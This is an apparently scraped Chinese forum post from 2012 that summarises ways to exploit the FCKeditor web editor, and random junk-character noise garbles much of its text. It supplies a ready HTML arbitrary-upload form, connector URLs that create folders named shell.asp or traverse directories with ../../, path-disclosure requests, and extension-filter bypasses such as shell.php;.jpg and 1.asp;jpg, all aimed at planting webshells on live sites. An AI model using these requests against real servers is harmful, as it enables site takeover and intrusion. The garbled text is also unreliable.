Fckeditor漏洞利用总结 ! `- K; p& X0 |; Y- c
查看编辑器版本
: T& ?/ L6 U/ q" Z! F: YFCKeditor/_whatsnew.html, d7 t- p' U: E6 k
—————————————————————————————————————————————————————————————
# [9 e5 R5 k& t! @" r8 M$ T2 K' E- H0 s ]$ I* B6 U( v
2. Version 2.2 版本: j6 \* [4 w. ^: M6 `5 o
Apache+linux 环境下在上传文件后面加个.突破！测试通过。2 p* G3 W8 K0 U( w# @7 k+ ]( ?
—————————————————————————————————————————————————————————————6 g* v2 J4 L* E3 e1 C" s; V
/ w3 Q. O2 G9 U
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。
1 V9 D" x' z! a% B: \6 @9 R( l<form id="frmUpload" enctype="multipart/form-data"
8 j9 ~( n2 }# i1 B' O% oaction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>; `) ]7 @, m' D; }
<input type="file" name="NewFile" size="50"><br>) b1 i( M5 O2 J6 H$ w
<input id="btnUpload" type="submit" value="Upload">8 _. f' @& j' D. O8 _. H9 E
</form>
! ?5 Y/ s# y; b- ]—————————————————————————————————————————————————————————————. I+ U5 ]6 G: F7 r* m
! @) w8 Z& `7 i- F4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
: I# k* f4 S( D% ^ 很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。2 C5 v9 ]& j) K9 f
4.1：提交shell.php+空格绕过
. Y! [6 a. y1 l4 n$ |& X3 ^不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
6 U3 ^- X4 E- l9 H0 ]9 ^ 4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。) I; j; M( G) M5 \0 E7 }3 _) p1 G
—————————————————————————————————————————————————————————————
+ s X/ v8 x& d% W _+ A! A$ [; x- w6 Q( l, S. w% S9 e
5. 突破建立文件夹
# H0 k8 J0 W2 V. j2 cFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=12447899756845 j- |2 Q5 ?9 ~% s! @
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp- Q- l9 u, V3 }
—————————————————————————————————————————————————————————————& d& t: s! q- P; E3 |1 E7 R
6 ~1 f; P# b1 Y! A8 I6. FCKeditor 中test 文件的上传地址
: [$ {$ V6 H8 @FCKeditor/editor/filemanager/browser/default/connectors/test.html
6 q1 g' ^, j2 o i0 p6 P' nFCKeditor/editor/filemanager/upload/test.html
+ N! i; i# y8 O) HFCKeditor/editor/filemanager/connectors/test.html; V) a5 W; U7 j' V) K& l/ v* g- ^
FCKeditor/editor/filemanager/connectors/uploadtest.html
- ~5 B( Z" I7 A B( U' h—————————————————————————————————————————————————————————————: w9 }' C' u6 Z& }7 `
4 L0 ]2 }9 ~. i" C n( {# ]8 _
7.常用上传地址4 Z0 t7 `: {9 Q( s. x
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
c% H' E+ }! cFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp9 s, a& c7 ~$ A
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
+ U7 b* w9 n5 u" gJSP 版：
( p9 J/ N. l3 I t) s bFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp" e. h, j2 j/ l! {: `
注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文% Q8 M: ], O9 W( h! D$ e9 s; `
件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。1 E0 U1 k& i, M7 L9 C5 l( E6 b
—————————————————————————————————————————————————————————————
: X4 H, Q2 x$ w3 v6 r% d$ |# w& g% w. }8 Z" f. z2 F* J# U
8.其他上传地址) ~8 J' N5 D; J4 z! F1 w2 Y3 G
FCKeditor/_samples/default.html; ?- r9 [; l, _0 P8 _
FCKeditor/_samples/asp/sample01.asp5 ~! l/ K1 f9 [; q+ n. ]6 p
FCKeditor/_samples/asp/sample02.asp4 ~* B5 }" { l K
FCKeditor/_samples/asp/sample03.asp9 I( ]$ O) W- n/ N' u8 u
FCKeditor/_samples/asp/sample04.asp
2 I# _1 I5 Y- E3 ]& c一般很多站点都已删除_samples 目录，可以试试。- h7 f6 j1 S3 F6 R" x2 ?/ A
FCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
) N7 W) O! R0 O; S2 [# P8 \+ E—————————————————————————————————————————————————————————————- }' i+ C6 f) M' Z2 r
' g3 r+ s- G1 a5 B8 U$ h0 M3 X+ ?( U- p9.列目录漏洞也可助找上传地址5 @5 E8 s; U& O
Version 2.4.1 测试通过
7 D5 ?8 O" y* z' B, t) O修改CurrentFolder 参数使用 ../../来进入不同的目录8 S5 d" N' Q6 U% G, U8 }
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp: z$ k& I( q, S
根据返回的XML 信息可以查看网站所有的目录。- |* j6 C/ h. Q0 U% o9 e/ i
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
0 o" J j1 z. k d" O+ l也可以直接浏览盘符：
; D* Y: P, @0 `6 C1 YJSP 版本：
. `3 ?& g% x$ iFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F$ f7 u( B6 y8 u! Y& r5 `1 H
—————————————————————————————————————————————————————————————
8 }* |3 D' ~5 d/ ~7 x/ m. S7 z
9 g6 ?9 i) {6 Z2 @10.爆路径漏洞
! \8 E0 _' e6 `1 AFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
# ?+ s) a5 O. ]% y—————————————————————————————————————————————————————————————4 }) [) A A( n1 t; q
' i0 Y" D7 E5 @! c
11. FCKeditor 被动限制策略所导致的过滤不严问题, i7 P5 H3 r7 P; f3 @; j& Q0 s$ B. Z4 q
影响版本: FCKeditor x.x <= FCKeditor v2.4.35 `9 ]( e) Y* F/ ~3 X S% \
脆弱描述：9 t' _# @) h9 [7 C
FCKeditor v2.4.3 中File 类别默认拒绝上传类型：) i/ ?2 ^2 ?7 Z- W" A8 q- ~: P
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
4 ^# s/ E: g' _1 Y% ~# R* o3 lFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!$ A; A6 i+ |/ r) y& {5 `& r+ [
而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。
( i, g$ U/ A2 W: k7 a, A 在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
9 Q3 k- Q g S—————————————————————————————————————————————————————————————
3 Q8 @/ {# E% x
) W' |- L. j' l12.最古老的漏洞，Type文件没有限制！
9 d" b' }4 D4 h 我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！ ! x- ^; E0 L, U3 x7 Y
—————————————————————————————————————————————————————————————1 D0 l5 T+ A7 ^$ d- {
; y- ]! d0 k `9 ]# e# [2 g5 S
===============================================================================================================================================
1 a; B, a+ a ?. r9 f' b. Z
& T# A2 G6 e; L* ~! bFCK编辑器jsp版本漏洞：
9 ]4 v+ {7 t) a' z! f! U4 l( u& x$ |$ h
) u! ^7 A, y" i: u9 J8 ]http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
# g+ g- V* _, ]3 r% v; g! J& b, e4 P- }. n7 q$ R4 z k3 ~
上传马所在目录
: {% {) k# d' eFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/4 H Y5 Q6 T+ p; \ a$ `
上传shell的地址:) n; S2 A3 i) o# Z1 N: v0 _
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector) F. P4 G6 t' o- q
跟版本有关系.并不是百分百成功. 测试成功几个站.
$ l/ D3 o; v/ b6 X& O- U* N不能通杀.很遗憾.* h. @. x! W7 A# n/ U
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
6 m1 @9 ^2 V4 X7 O! ?6 W, g& ]; x如果以上地址不行可以试试: i! |, O/ r9 Y" z3 S
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector8 W3 U. l/ [" K& f' e3 ?
FCKeditor/_samples// `4 A3 a, t/ g+ ^8 o
FCKeditor/_samples/default.html
* Y" a$ A8 t3 r2 f+ ?$ G& P1 D9 HFCKeditor/editor/fckeditor.htm
! f9 H6 g! D4 S: S' CFCKeditor/editor/fckdialog.html
% q) q9 Q# `+ Z1 ~5 r7 e" t( B# p- }) a* p/ a2 J1 e
9 c9 o# E" D- {3 R- m: ^
% n0 E/ T- d+ E1 f4 e) D解析漏洞+未重命名文件时上传漏洞 1.asp;jpg0 s0 ~ s% w h2 `( a
|
发表于 2012-9-13 17:01:39
收藏
支持
反对